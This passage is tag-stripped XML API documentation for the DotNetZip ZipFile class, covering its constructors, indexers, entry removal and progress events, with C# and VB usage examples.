method. (This + is the preferred approach for applications that use the library through + COM interop.) If you call the no-argument method + without having set the Name of the ZipFile, either through + the parameterized constructor or through the explicit property , the + Save() will throw, because there is no place to save the file. + + + Instances of the ZipFile class are not multi-thread safe. You may + have multiple threads that each use a distinct ZipFile instance, or + you can synchronize multi-thread access to a single instance. + + + + + This example creates a Zip archive called Backup.zip, containing all the files + in the directory DirectoryToZip. Files within subdirectories are not zipped up. + + using (ZipFile zip = new ZipFile()) + { + // Store all files found in the top level directory, into the zip archive. + // note: this code does not recurse subdirectories! + String[] filenames = System.IO.Directory.GetFiles(DirectoryToZip); + zip.AddFiles(filenames, "files"); + zip.Save("Backup.zip"); + } + + + + Using zip As New ZipFile + ' Store all files found in the top level directory, into the zip archive. + ' note: this code does not recurse subdirectories! + Dim filenames As String() = System.IO.Directory.GetFiles(DirectoryToZip) + zip.AddFiles(filenames, "files") + zip.Save("Backup.zip") + End Using + + + + + + Create a zip file, specifying a text Encoding, but without specifying a + target filename or stream to save to. + + + + + See the documentation on the ZipFile + constructor that accepts a single string argument for basic + information on all the ZipFile constructors. + + + + + + The Encoding is used as the default alternate encoding for entries with + filenames or comments that cannot be encoded with the IBM437 code page. + + + + + Creates a new ZipFile instance, using the specified name for the + filename, and the specified status message writer. + + + + + See the documentation on the ZipFile + constructor that accepts a single string argument for basic + information on all the ZipFile constructors. + + + + This version of the constructor allows the caller to pass in a TextWriter, + to which verbose messages will be written during extraction or creation of + the zip archive. A console application may wish to pass + System.Console.Out to get messages on the Console. A graphical or headless + application may wish to capture the messages in a different + TextWriter, for example, a StringWriter, and then display + the messages in a TextBox, or generate an audit log of ZipFile operations. + + + + To encrypt the data for the files added to the ZipFile instance, + set the Password property after creating the ZipFile instance. + + + + Instances of the ZipFile class are not multi-thread safe. You may + not party on a single instance with multiple threads. You may have + multiple threads that each use a distinct ZipFile instance, or you + can synchronize multi-thread access to a single instance. + + + + + + Thrown if name refers to an existing file that is not a valid zip file. + + + + + using (ZipFile zip = new ZipFile("Backup.zip", Console.Out)) + { + // Store all files found in the top level directory, into the zip archive. + // note: this code does not recurse subdirectories! + // Status messages will be written to Console.Out + String[] filenames = System.IO.Directory.GetFiles(DirectoryToZip); + zip.AddFiles(filenames); + zip.Save(); + } + + + + Using zip As New ZipFile("Backup.zip", Console.Out) + ' Store all files found in the top level directory, into the zip archive. + ' note: this code does not recurse subdirectories! + ' Status messages will be written to Console.Out + Dim filenames As String() = System.IO.Directory.GetFiles(DirectoryToZip) + zip.AddFiles(filenames) + zip.Save() + End Using + + + + The filename to use for the new zip archive. + A TextWriter to use for writing + verbose status messages. + + + + Creates a new ZipFile instance, using the specified name for the + filename, the specified status message writer, and the specified Encoding. + + + + + This constructor works like the ZipFile + constructor that accepts a single string argument. See that + reference for detail on what this constructor does. + + + + This version of the constructor allows the caller to pass in a + TextWriter, and an Encoding. The TextWriter will collect + verbose messages that are generated by the library during extraction or + creation of the zip archive. A console application may wish to pass + System.Console.Out to get messages on the Console. A graphical or + headless application may wish to capture the messages in a different + TextWriter, for example, a StringWriter, and then display + the messages in a TextBox, or generate an audit log of + ZipFile operations. + + + + The Encoding is used as the default alternate encoding for entries + with filenames or comments that cannot be encoded with the IBM437 code + page. This is a equivalent to setting the property on the ZipFile + instance after construction. + + + + To encrypt the data for the files added to the ZipFile instance, + set the Password property after creating the ZipFile + instance. + + + + Instances of the ZipFile class are not multi-thread safe. You may + not party on a single instance with multiple threads. You may have + multiple threads that each use a distinct ZipFile instance, or you + can synchronize multi-thread access to a single instance. + + + + + + Thrown if fileName refers to an existing file that is not a valid zip file. + + + The filename to use for the new zip archive. + A TextWriter to use for writing verbose + status messages. + + The Encoding is used as the default alternate encoding for entries with + filenames or comments that cannot be encoded with the IBM437 code page. + + + + + Initialize a ZipFile instance by reading in a zip file. + + + + + + This method is primarily useful from COM Automation environments, when + reading or extracting zip files. In COM, it is not possible to invoke + parameterized constructors for a class. A COM Automation application can + update a zip file by using the default (no argument) + constructor, then calling Initialize() to read the contents + of an on-disk zip archive into the ZipFile instance. + + + + .NET applications are encouraged to use the ZipFile.Read() methods + for better clarity. + + + + the name of the existing zip file to read in. + + + + This is an integer indexer into the Zip archive. + + + + + This property is read-only. + + + + Internally, the ZipEntry instances that belong to the + ZipFile are stored in a Dictionary. When you use this + indexer the first time, it creates a read-only + List<ZipEntry> from the Dictionary.Values Collection. + If at any time you modify the set of entries in the ZipFile, + either by adding an entry, removing an entry, or renaming an + entry, a new List will be created, and the numeric indexes for the + remaining entries may be different. + + + + This means you cannot rename any ZipEntry from + inside an enumeration of the zip file. + + + + The index value. + + + + + + The ZipEntry within the Zip archive at the specified index. If the + entry does not exist in the archive, this indexer throws. + + + + + + This is a name-based indexer into the Zip archive. + + + + + This property is read-only. + + + + The property on the ZipFile + determines whether retrieval via this indexer is done via case-sensitive + comparisons. By default, retrieval is not case sensitive. This makes + sense on Windows, in which filesystems are not case sensitive. + + + + Regardless of case-sensitivity, it is not always the case that + this[value].FileName == value. In other words, the FileName + property of the ZipEntry retrieved with this indexer, may or may + not be equal to the index value. + + + + This is because DotNetZip performs a normalization of filenames passed to + this indexer, before attempting to retrieve the item. That normalization + includes: removal of a volume letter and colon, swapping backward slashes + for forward slashes. So, zip["dir1\\entry1.txt"].FileName == + "dir1/entry.txt". + + + + Directory entries in the zip file may be retrieved via this indexer only + with names that have a trailing slash. DotNetZip automatically appends a + trailing slash to the names of any directory entries added to a zip. + + + + + + This example extracts only the entries in a zip file that are .txt files. + + using (ZipFile zip = ZipFile.Read("PackedDocuments.zip")) + { + foreach (string s1 in zip.EntryFilenames) + { + if (s1.EndsWith(".txt")) + zip[s1].Extract("textfiles"); + } + } + + + Using zip As ZipFile = ZipFile.Read("PackedDocuments.zip") + Dim s1 As String + For Each s1 In zip.EntryFilenames + If s1.EndsWith(".txt") Then + zip(s1).Extract("textfiles") + End If + Next + End Using + + + + + + Thrown if the caller attempts to assign a non-null value to the indexer. + + + + The name of the file, including any directory path, to retrieve from the + zip. The filename match is not case-sensitive by default; you can use the + property to change this behavior. The + pathname can use forward-slashes or backward slashes. + + + + The ZipEntry within the Zip archive, given by the specified + filename. If the named entry does not exist in the archive, this indexer + returns null (Nothing in VB). + + + + + + The list of filenames for the entries contained within the zip archive. + + + + According to the ZIP specification, the names of the entries use forward + slashes in pathnames. If you are scanning through the list, you may have + to swap forward slashes for backslashes. + + + + + + This example shows one way to test if a filename is already contained + within a zip archive. + + String zipFileToRead= "PackedDocuments.zip"; + string candidate = "DatedMaterial.xps"; + using (ZipFile zip = new ZipFile(zipFileToRead)) + { + if (zip.EntryFilenames.Contains(candidate)) + Console.WriteLine("The file '{0}' exists in the zip archive '{1}'", + candidate, + zipFileName); + else + Console.WriteLine("The file, '{0}', does not exist in the zip archive '{1}'", + candidate, + zipFileName); + Console.WriteLine(); + } + + + Dim zipFileToRead As String = "PackedDocuments.zip" + Dim candidate As String = "DatedMaterial.xps" + Using zip As ZipFile.Read(ZipFileToRead) + If zip.EntryFilenames.Contains(candidate) Then + Console.WriteLine("The file '{0}' exists in the zip archive '{1}'", _ + candidate, _ + zipFileName) + Else + Console.WriteLine("The file, '{0}', does not exist in the zip archive '{1}'", _ + candidate, _ + zipFileName) + End If + Console.WriteLine + End Using + + + + + The list of strings for the filenames contained within the Zip archive. + + + + + + Returns the readonly collection of entries in the Zip archive. + + + + + + If there are no entries in the current ZipFile, the value returned is a + non-null zero-element collection. If there are entries in the zip file, + the elements are returned in no particular order. + + + This is the implied enumerator on the ZipFile class. If you use a + ZipFile instance in a context that expects an enumerator, you will + get this collection. + + + + + + + Returns a readonly collection of entries in the Zip archive, sorted by FileName. + + + + If there are no entries in the current ZipFile, the value returned + is a non-null zero-element collection. If there are entries in the zip + file, the elements are returned sorted by the name of the entry. + + + + + This example fills a Windows Forms ListView with the entries in a zip file. + + + using (ZipFile zip = ZipFile.Read(zipFile)) + { + foreach (ZipEntry entry in zip.EntriesSorted) + { + ListViewItem item = new ListViewItem(n.ToString()); + n++; + string[] subitems = new string[] { + entry.FileName.Replace("/","\\"), + entry.LastModified.ToString("yyyy-MM-dd HH:mm:ss"), + entry.UncompressedSize.ToString(), + String.Format("{0,5:F0}%", entry.CompressionRatio), + entry.CompressedSize.ToString(), + (entry.UsesEncryption) ? "Y" : "N", + String.Format("{0:X8}", entry.Crc)}; + + foreach (String s in subitems) + { + ListViewItem.ListViewSubItem subitem = new ListViewItem.ListViewSubItem(); + subitem.Text = s; + item.SubItems.Add(subitem); + } + + this.listView1.Items.Add(item); + } + } + + + + + + + + Returns the number of entries in the Zip archive. + + + + + Removes the given ZipEntry from the zip archive. + + + + + After calling RemoveEntry, the application must call Save to + make the changes permanent. + + + + + Thrown if the specified ZipEntry does not exist in the ZipFile. + + + + In this example, all entries in the zip archive dating from before + December 31st, 2007, are removed from the archive. This is actually much + easier if you use the RemoveSelectedEntries method. But I needed an + example for RemoveEntry, so here it is. + + String ZipFileToRead = "ArchiveToModify.zip"; + System.DateTime Threshold = new System.DateTime(2007,12,31); + using (ZipFile zip = ZipFile.Read(ZipFileToRead)) + { + var EntriesToRemove = new System.Collections.Generic.List<ZipEntry>(); + foreach (ZipEntry e in zip) + { + if (e.LastModified < Threshold) + { + // We cannot remove the entry from the list, within the context of + // an enumeration of said list. + // So we add the doomed entry to a list to be removed later. + EntriesToRemove.Add(e); + } + } + + // actually remove the doomed entries. + foreach (ZipEntry zombie in EntriesToRemove) + zip.RemoveEntry(zombie); + + zip.Comment= String.Format("This zip archive was updated at {0}.", + System.DateTime.Now.ToString("G")); + + // save with a different name + zip.Save("Archive-Updated.zip"); + } + + + + Dim ZipFileToRead As String = "ArchiveToModify.zip" + Dim Threshold As New DateTime(2007, 12, 31) + Using zip As ZipFile = ZipFile.Read(ZipFileToRead) + Dim EntriesToRemove As New System.Collections.Generic.List(Of ZipEntry) + Dim e As ZipEntry + For Each e In zip + If (e.LastModified < Threshold) Then + ' We cannot remove the entry from the list, within the context of + ' an enumeration of said list. + ' So we add the doomed entry to a list to be removed later. + EntriesToRemove.Add(e) + End If + Next + + ' actually remove the doomed entries. + Dim zombie As ZipEntry + For Each zombie In EntriesToRemove + zip.RemoveEntry(zombie) + Next + zip.Comment = String.Format("This zip archive was updated at {0}.", DateTime.Now.ToString("G")) + 'save as a different name + zip.Save("Archive-Updated.zip") + End Using + + + + + The ZipEntry to remove from the zip. + + + + + + + + Removes the ZipEntry with the given filename from the zip archive. + + + + + After calling RemoveEntry, the application must call Save to + make the changes permanent. + + + + + + Thrown if the ZipFile is not updatable. + + + + Thrown if a ZipEntry with the specified filename does not exist in + the ZipFile. + + + + + This example shows one way to remove an entry with a given filename from + an existing zip archive. + + + String zipFileToRead= "PackedDocuments.zip"; + string candidate = "DatedMaterial.xps"; + using (ZipFile zip = ZipFile.Read(zipFileToRead)) + { + if (zip.EntryFilenames.Contains(candidate)) + { + zip.RemoveEntry(candidate); + zip.Comment= String.Format("The file '{0}' has been removed from this archive.", + Candidate); + zip.Save(); + } + } + + + Dim zipFileToRead As String = "PackedDocuments.zip" + Dim candidate As String = "DatedMaterial.xps" + Using zip As ZipFile = ZipFile.Read(zipFileToRead) + If zip.EntryFilenames.Contains(candidate) Then + zip.RemoveEntry(candidate) + zip.Comment = String.Format("The file '{0}' has been removed from this archive.", Candidate) + zip.Save + End If + End Using + + + + + The name of the file, including any directory path, to remove from the zip. + The filename match is not case-sensitive by default; you can use the + CaseSensitiveRetrieval property to change this behavior. The + pathname can use forward-slashes or backward slashes. + + + + + + Closes the read and write streams associated + to the ZipFile, if necessary. + + + + The Dispose() method is generally employed implicitly, via a using(..) {..} + statement. (Using...End Using in VB) If you do not employ a using + statement, insure that your application calls Dispose() explicitly. For + example, in a Powershell application, or an application that uses the COM + interop interface, you must call Dispose() explicitly. + + + + This example extracts an entry selected by name, from the Zip file to the + Console. + + using (ZipFile zip = ZipFile.Read(zipfile)) + { + foreach (ZipEntry e in zip) + { + if (WantThisEntry(e.FileName)) + zip.Extract(e.FileName, Console.OpenStandardOutput()); + } + } // Dispose() is called implicitly here. + + + + Using zip As ZipFile = ZipFile.Read(zipfile) + Dim e As ZipEntry + For Each e In zip + If WantThisEntry(e.FileName) Then + zip.Extract(e.FileName, Console.OpenStandardOutput()) + End If + Next + End Using ' Dispose is implicity called here + + + + + + Disposes any managed resources, if the flag is set, then marks the + instance disposed. This method is typically not called explicitly from + application code. + + + + Applications should call the no-arg Dispose method. + + + + indicates whether the method should dispose streams or not. + + + + + Default size of the buffer used for IO. + + + + + An event handler invoked when a Save() starts, before and after each + entry has been written to the archive, when a Save() completes, and + during other Save events. + + + + + Depending on the particular event, different properties on the parameter are set. The following + table summarizes the available EventTypes and the conditions under + which this event handler is invoked with a + SaveProgressEventArgs with the given EventType. + + + + + value of EntryType + Meaning and conditions + + + + ZipProgressEventType.Saving_Started + Fired when ZipFile.Save() begins. + + + + + ZipProgressEventType.Saving_BeforeSaveEntry + + Fired within ZipFile.Save(), just before writing data for each + particular entry. + + + + + ZipProgressEventType.Saving_AfterSaveEntry + + Fired within ZipFile.Save(), just after having finished writing data + for each particular entry. + + + + + ZipProgressEventType.Saving_Completed + Fired when ZipFile.Save() has completed. + + + + + ZipProgressEventType.Saving_AfterSaveTempArchive + + Fired after the temporary file has been created. This happens only + when saving to a disk file. This event will not be invoked when + saving to a stream. + + + + + ZipProgressEventType.Saving_BeforeRenameTempArchive + + Fired just before renaming the temporary file to the permanent + location. This happens only when saving to a disk file. This event + will not be invoked when saving to a stream. + + + + + ZipProgressEventType.Saving_AfterRenameTempArchive + + Fired just after renaming the temporary file to the permanent + location. This happens only when saving to a disk file. This event + will not be invoked when saving to a stream. + + + + + ZipProgressEventType.Saving_AfterCompileSelfExtractor + + Fired after a self-extracting archive has finished compiling. This + EventType is used only within SaveSelfExtractor(). + + + + + ZipProgressEventType.Saving_BytesRead + + Set during the save of a particular entry, to update progress of the + Save(). When this EventType is set, the BytesTransferred is the + number of bytes that have been read from the source stream. The + TotalBytesToTransfer is the number of bytes in the uncompressed + file. + + + + + + + + + This example uses an anonymous method to handle the + SaveProgress event, by updating a progress bar. + + + progressBar1.Value = 0; + progressBar1.Max = listbox1.Items.Count; + using (ZipFile zip = new ZipFile()) + { + // listbox1 contains a list of filenames + zip.AddFiles(listbox1.Items); + + // do the progress bar: + zip.SaveProgress += (sender, e) => { + if (e.EventType == ZipProgressEventType.Saving_BeforeWriteEntry) { + progressBar1.PerformStep(); + } + }; + + zip.Save(fs); + } + + + + + This example uses a named method as the + SaveProgress event handler, to update the user, in a + console-based application. + + + static bool justHadByteUpdate= false; + public static void SaveProgress(object sender, SaveProgressEventArgs e) + { + if (e.EventType == ZipProgressEventType.Saving_Started) + Console.WriteLine("Saving: {0}", e.ArchiveName); + + else if (e.EventType == ZipProgressEventType.Saving_Completed) + { + justHadByteUpdate= false; + Console.WriteLine(); + Console.WriteLine("Done: {0}", e.ArchiveName); + } + + else if (e.EventType == ZipProgressEventType.Saving_BeforeWriteEntry) + { + if (justHadByteUpdate) + Console.WriteLine(); + Console.WriteLine(" Writing: {0} ({1}/{2})", + e.CurrentEntry.FileName, e.EntriesSaved, e.EntriesTotal); + justHadByteUpdate= false; + } + + else if (e.EventType == ZipProgressEventType.Saving_EntryBytesRead) + { + if (justHadByteUpdate) + Console.SetCursorPosition(0, Console.CursorTop); + Console.Write(" {0}/{1} ({2:N0}%)", e.BytesTransferred, e.TotalBytesToTransfer, + e.BytesTransferred / (0.01 * e.TotalBytesToTransfer )); + justHadByteUpdate= true; + } + } + + public static ZipUp(string targetZip, string directory) + { + using (var zip = new ZipFile()) { + zip.SaveProgress += SaveProgress; + zip.AddDirectory(directory); + zip.Save(targetZip); + } + } + + + + + Public Sub ZipUp(ByVal targetZip As String, ByVal directory As String) + Using zip As ZipFile = New ZipFile + AddHandler zip.SaveProgress, AddressOf MySaveProgress + zip.AddDirectory(directory) + zip.Save(targetZip) + End Using + End Sub + + Private Shared justHadByteUpdate As Boolean = False + + Public Shared Sub MySaveProgress(ByVal sender As Object, ByVal e As SaveProgressEventArgs) + If (e.EventType Is ZipProgressEventType.Saving_Started) Then + Console.WriteLine("Saving: {0}", e.ArchiveName) + + ElseIf (e.EventType Is ZipProgressEventType.Saving_Completed) Then + justHadByteUpdate = False + Console.WriteLine + Console.WriteLine("Done: {0}", e.ArchiveName) + + ElseIf (e.EventType Is ZipProgressEventType.Saving_BeforeWriteEntry) Then + If justHadByteUpdate Then + Console.WriteLine + End If + Console.WriteLine(" Writing: {0} ({1}/{2})", e.CurrentEntry.FileName, e.EntriesSaved, e.EntriesTotal) + justHadByteUpdate = False + + ElseIf (e.EventType Is ZipProgressEventType.Saving_EntryBytesRead) Then + If justHadByteUpdate Then + Console.SetCursorPosition(0, Console.CursorTop) + End If + Console.Write(" {0}/{1} ({2:N0}%)", e.BytesTransferred, _ + e.TotalBytesToTransfer, _ + (CDbl(e.BytesTransferred) / (0.01 * e.TotalBytesToTransfer))) + justHadByteUpdate = True + End If + End Sub + + + + + + This is a more complete example of using the SaveProgress + events in a Windows Forms application, with a + Thread object. + + + delegate void SaveEntryProgress(SaveProgressEventArgs e); + delegate void ButtonClick(object sender, EventArgs e); + + public class WorkerOptions + { + public string ZipName; + public string Folder; + public string Encoding; + public string Comment; + public int ZipFlavor; + public Zip64Option Zip64; + } + + private int _progress2MaxFactor; + private bool _saveCanceled; + private long _totalBytesBeforeCompress; + private long _totalBytesAfterCompress; + private Thread _workerThread; + + + private void btnZipup_Click(object sender, EventArgs e) + { + KickoffZipup(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + if (this.lblStatus.InvokeRequired) + { + this.lblStatus.Invoke(new ButtonClick(this.btnCancel_Click), new object[] { sender, e }); + } + else + { + _saveCanceled = true; + lblStatus.Text = "Canceled..."; + ResetState(); + } + } + + private void KickoffZipup() + { + _folderName = tbDirName.Text; + + if (_folderName == null || _folderName == "") return; + if (this.tbZipName.Text == null || this.tbZipName.Text == "") return; + + // check for existence of the zip file: + if (System.IO.File.Exists(this.tbZipName.Text)) + { + var dlgResult = MessageBox.Show(String.Format("The file you have specified ({0}) already exists." + + " Do you want to overwrite this file?", this.tbZipName.Text), + "Confirmation is Required", MessageBoxButtons.YesNo, MessageBoxIcon.Question); + if (dlgResult != DialogResult.Yes) return; + System.IO.File.Delete(this.tbZipName.Text); + } + + _saveCanceled = false; + _nFilesCompleted = 0; + _totalBytesAfterCompress = 0; + _totalBytesBeforeCompress = 0; + this.btnOk.Enabled = false; + this.btnOk.Text = "Zipping..."; + this.btnCancel.Enabled = true; + lblStatus.Text = "Zipping..."; + + var options = new WorkerOptions + { + ZipName = this.tbZipName.Text, + Folder = _folderName, + Encoding = "ibm437" + }; + + if (this.comboBox1.SelectedIndex != 0) + { + options.Encoding = this.comboBox1.SelectedItem.ToString(); + } + + if (this.radioFlavorSfxCmd.Checked) + options.ZipFlavor = 2; + else if (this.radioFlavorSfxGui.Checked) + options.ZipFlavor = 1; + else options.ZipFlavor = 0; + + if (this.radioZip64AsNecessary.Checked) + options.Zip64 = Zip64Option.AsNecessary; + else if (this.radioZip64Always.Checked) + options.Zip64 = Zip64Option.Always; + else options.Zip64 = Zip64Option.Never; + + options.Comment = String.Format("Encoding:{0} || Flavor:{1} || ZIP64:{2}\r\nCreated at {3} || {4}\r\n", + options.Encoding, + FlavorToString(options.ZipFlavor), + options.Zip64.ToString(), + System.DateTime.Now.ToString("yyyy-MMM-dd HH:mm:ss"), + this.Text); + + if (this.tbComment.Text != TB_COMMENT_NOTE) + options.Comment += this.tbComment.Text; + + _workerThread = new Thread(this.DoSave); + _workerThread.Name = "Zip Saver thread"; + _workerThread.Start(options); + this.Cursor = Cursors.WaitCursor; + } + + + private void DoSave(Object p) + { + WorkerOptions options = p as WorkerOptions; + try + { + using (var zip1 = new ZipFile()) + { + zip1.ProvisionalAlternateEncoding = System.Text.Encoding.GetEncoding(options.Encoding); + zip1.Comment = options.Comment; + zip1.AddDirectory(options.Folder); + _entriesToZip = zip1.EntryFileNames.Count; + SetProgressBars(); + zip1.SaveProgress += this.zip1_SaveProgress; + + zip1.UseZip64WhenSaving = options.Zip64; + + if (options.ZipFlavor == 1) + zip1.SaveSelfExtractor(options.ZipName, SelfExtractorFlavor.WinFormsApplication); + else if (options.ZipFlavor == 2) + zip1.SaveSelfExtractor(options.ZipName, SelfExtractorFlavor.ConsoleApplication); + else + zip1.Save(options.ZipName); + } + } + catch (System.Exception exc1) + { + MessageBox.Show(String.Format("Exception while zipping: {0}", exc1.Message)); + btnCancel_Click(null, null); + } + } + + + + void zip1_SaveProgress(object sender, SaveProgressEventArgs e) + { + switch (e.EventType) + { + case ZipProgressEventType.Saving_AfterWriteEntry: + StepArchiveProgress(e); + break; + case ZipProgressEventType.Saving_EntryBytesRead: + StepEntryProgress(e); + break; + case ZipProgressEventType.Saving_Completed: + SaveCompleted(); + break; + case ZipProgressEventType.Saving_AfterSaveTempArchive: + // this event only occurs when saving an SFX file + TempArchiveSaved(); + break; + } + if (_saveCanceled) + e.Cancel = true; + } + + + + private void StepArchiveProgress(SaveProgressEventArgs e) + { + if (this.progressBar1.InvokeRequired) + { + this.progressBar1.Invoke(new SaveEntryProgress(this.StepArchiveProgress), new object[] { e }); + } + else + { + if (!_saveCanceled) + { + _nFilesCompleted++; + this.progressBar1.PerformStep(); + _totalBytesAfterCompress += e.CurrentEntry.CompressedSize; + _totalBytesBeforeCompress += e.CurrentEntry.UncompressedSize; + + // reset the progress bar for the entry: + this.progressBar2.Value = this.progressBar2.Maximum = 1; + + this.Update(); + } + } + } + + + private void StepEntryProgress(SaveProgressEventArgs e) + { + if (this.progressBar2.InvokeRequired) + { + this.progressBar2.Invoke(new SaveEntryProgress(this.StepEntryProgress), new object[] { e }); + } + else + { + if (!_saveCanceled) + { + if (this.progressBar2.Maximum == 1) + { + // reset + Int64 max = e.TotalBytesToTransfer; + _progress2MaxFactor = 0; + while (max > System.Int32.MaxValue) + { + max /= 2; + _progress2MaxFactor++; + } + this.progressBar2.Maximum = (int)max; + lblStatus.Text = String.Format("{0} of {1} files...({2})", + _nFilesCompleted + 1, _entriesToZip, e.CurrentEntry.FileName); + } + + int xferred = e.BytesTransferred >> _progress2MaxFactor; + + this.progressBar2.Value = (xferred >= this.progressBar2.Maximum) + ? this.progressBar2.Maximum + : xferred; + + this.Update(); + } + } + } + + private void SaveCompleted() + { + if (this.lblStatus.InvokeRequired) + { + this.lblStatus.Invoke(new MethodInvoker(this.SaveCompleted)); + } + else + { + lblStatus.Text = String.Format("Done, Compressed {0} files, {1:N0}% of original.", + _nFilesCompleted, (100.00 * _totalBytesAfterCompress) / _totalBytesBeforeCompress); + ResetState(); + } + } + + private void ResetState() + { + this.btnCancel.Enabled = false; + this.btnOk.Enabled = true; + this.btnOk.Text = "Zip it!"; + this.progressBar1.Value = 0; + this.progressBar2.Value = 0; + this.Cursor = Cursors.Default; + if (!_workerThread.IsAlive) + _workerThread.Join(); + } + + + + + + + + + + + An event handler invoked before, during, and after the reading of a zip archive. + + + + + Depending on the particular event being signaled, different properties on the + parameter are set. The following table + summarizes the available EventTypes and the conditions under which this + event handler is invoked with a ReadProgressEventArgs with the given EventType. + + + + + value of EntryType + Meaning and conditions + + + + ZipProgressEventType.Reading_Started + Fired just as ZipFile.Read() begins. Meaningful properties: ArchiveName. + + + + + ZipProgressEventType.Reading_Completed + Fired when ZipFile.Read() has completed. Meaningful properties: ArchiveName. + + + + + ZipProgressEventType.Reading_ArchiveBytesRead + Fired while reading, updates the number of bytes read for the entire archive. + Meaningful properties: ArchiveName, CurrentEntry, BytesTransferred, TotalBytesToTransfer. + + + + + ZipProgressEventType.Reading_BeforeReadEntry + Indicates an entry is about to be read from the archive. + Meaningful properties: ArchiveName, EntriesTotal. + + + + + ZipProgressEventType.Reading_AfterReadEntry + Indicates an entry has just been read from the archive. + Meaningful properties: ArchiveName, EntriesTotal, CurrentEntry. + + + + + + + + + + + + + An event handler invoked before, during, and after extraction of + entries in the zip archive. + + + + + Depending on the particular event, different properties on the parameter are set. The following + table summarizes the available EventTypes and the conditions under + which this event handler is invoked with a + ExtractProgressEventArgs with the given EventType. + + + + + value of EntryType + Meaning and conditions + + + + ZipProgressEventType.Extracting_BeforeExtractAll + + Set when ExtractAll() begins. The ArchiveName, Overwrite, and + ExtractLocation properties are meaningful. + + + + ZipProgressEventType.Extracting_AfterExtractAll + + Set when ExtractAll() has completed. The ArchiveName, Overwrite, + and ExtractLocation properties are meaningful. + + + + + ZipProgressEventType.Extracting_BeforeExtractEntry + + Set when an Extract() on an entry in the ZipFile has begun. + Properties that are meaningful: ArchiveName, EntriesTotal, + CurrentEntry, Overwrite, ExtractLocation, EntriesExtracted. + + + + + ZipProgressEventType.Extracting_AfterExtractEntry + + Set when an Extract() on an entry in the ZipFile has completed. + Properties that are meaningful: ArchiveName, EntriesTotal, + CurrentEntry, Overwrite, ExtractLocation, EntriesExtracted. + + + + + ZipProgressEventType.Extracting_EntryBytesWritten + + Set within a call to Extract() on an entry in the ZipFile, as data + is extracted for the entry. Properties that are meaningful: + ArchiveName, CurrentEntry, BytesTransferred, TotalBytesToTransfer. + + + + + ZipProgressEventType.Extracting_ExtractEntryWouldOverwrite + + Set within a call to Extract() on an entry in the ZipFile, when the + extraction would overwrite an existing file. This event type is used + only when ExtractExistingFileAction on the ZipFile or + ZipEntry is set to InvokeExtractProgressEvent. + + + + + + + + + + private static bool justHadByteUpdate = false; + public static void ExtractProgress(object sender, ExtractProgressEventArgs e) + { + if(e.EventType == ZipProgressEventType.Extracting_EntryBytesWritten) + { + if (justHadByteUpdate) + Console.SetCursorPosition(0, Console.CursorTop); + + Console.Write(" {0}/{1} ({2:N0}%)", e.BytesTransferred, e.TotalBytesToTransfer, + e.BytesTransferred / (0.01 * e.TotalBytesToTransfer )); + justHadByteUpdate = true; + } + else if(e.EventType == ZipProgressEventType.Extracting_BeforeExtractEntry) + { + if (justHadByteUpdate) + Console.WriteLine(); + Console.WriteLine("Extracting: {0}", e.CurrentEntry.FileName); + justHadByteUpdate= false; + } + } + + public static ExtractZip(string zipToExtract, string directory) + { + string TargetDirectory= "extract"; + using (var zip = ZipFile.Read(zipToExtract)) { + zip.ExtractProgress += ExtractProgress; + foreach (var e in zip1) + { + e.Extract(TargetDirectory, true); + } + } + } + + + + Public Shared Sub Main(ByVal args As String()) + Dim ZipToUnpack As String = "C1P3SML.zip" + Dim TargetDir As String = "ExtractTest_Extract" + Console.WriteLine("Extracting file {0} to {1}", ZipToUnpack, TargetDir) + Using zip1 As ZipFile = ZipFile.Read(ZipToUnpack) + AddHandler zip1.ExtractProgress, AddressOf MyExtractProgress + Dim e As ZipEntry + For Each e In zip1 + e.Extract(TargetDir, True) + Next + End Using + End Sub + + Private Shared justHadByteUpdate As Boolean = False + + Public Shared Sub MyExtractProgress(ByVal sender As Object, ByVal e As ExtractProgressEventArgs) + If (e.EventType = ZipProgressEventType.Extracting_EntryBytesWritten) Then + If ExtractTest.justHadByteUpdate Then + Console.SetCursorPosition(0, Console.CursorTop) + End If + Console.Write(" {0}/{1} ({2:N0}%)", e.BytesTransferred, e.TotalBytesToTransfer, (CDbl(e.BytesTransferred) / (0.01 * e.TotalBytesToTransfer))) + ExtractTest.justHadByteUpdate = True + ElseIf (e.EventType = ZipProgressEventType.Extracting_BeforeExtractEntry) Then + If ExtractTest.justHadByteUpdate Then + Console.WriteLine + End If + Console.WriteLine("Extracting: {0}", e.CurrentEntry.FileName) + ExtractTest.justHadByteUpdate = False + End If + End Sub + + + + + + + + + + An event handler invoked before, during, and after Adding entries to a zip archive. + + + + Adding a large number of entries to a zip file can take a long + time. For example, when calling on a + directory that contains 50,000 files, it could take 3 minutes or so. + This event handler allws an application to track the progress of the Add + operation, and to optionally cancel a lengthy Add operation. + + + + + + int _numEntriesToAdd= 0; + int _numEntriesAdded= 0; + void AddProgressHandler(object sender, AddProgressEventArgs e) + { + switch (e.EventType) + { + case ZipProgressEventType.Adding_Started: + Console.WriteLine("Adding files to the zip..."); + break; + case ZipProgressEventType.Adding_AfterAddEntry: + _numEntriesAdded++; + Console.WriteLine(String.Format("Adding file {0}/{1} :: {2}", + _numEntriesAdded, _numEntriesToAdd, e.CurrentEntry.FileName)); + break; + case ZipProgressEventType.Adding_Completed: + Console.WriteLine("Added all files"); + break; + } + } + + void CreateTheZip() + { + using (ZipFile zip = new ZipFile()) + { + zip.AddProgress += AddProgressHandler; + zip.AddDirectory(System.IO.Path.GetFileName(DirToZip)); + zip.Save(ZipFileToCreate); + } + } + + + + + + Private Sub AddProgressHandler(ByVal sender As Object, ByVal e As AddProgressEventArgs) + Select Case e.EventType + Case ZipProgressEventType.Adding_Started + Console.WriteLine("Adding files to the zip...") + Exit Select + Case ZipProgressEventType.Adding_AfterAddEntry + Console.WriteLine(String.Format("Adding file {0}", e.CurrentEntry.FileName)) + Exit Select + Case ZipProgressEventType.Adding_Completed + Console.WriteLine("Added all files") + Exit Select + End Select + End Sub + + Sub CreateTheZip() + Using zip as ZipFile = New ZipFile + AddHandler zip.AddProgress, AddressOf AddProgressHandler + zip.AddDirectory(System.IO.Path.GetFileName(DirToZip)) + zip.Save(ZipFileToCreate); + End Using + End Sub + + + + + + + + + + + + An event that is raised when an error occurs during open or read of files + while saving a zip archive. + + + + + Errors can occur as a file is being saved to the zip archive. For + example, the File.Open may fail, or a File.Read may fail, because of + lock conflicts or other reasons. If you add a handler to this event, + you can handle such errors in your own code. If you don't add a + handler, the library will throw an exception if it encounters an I/O + error during a call to Save(). + + + + Setting a handler implicitly sets to + ZipErrorAction.InvokeErrorEvent. + + + + The handler 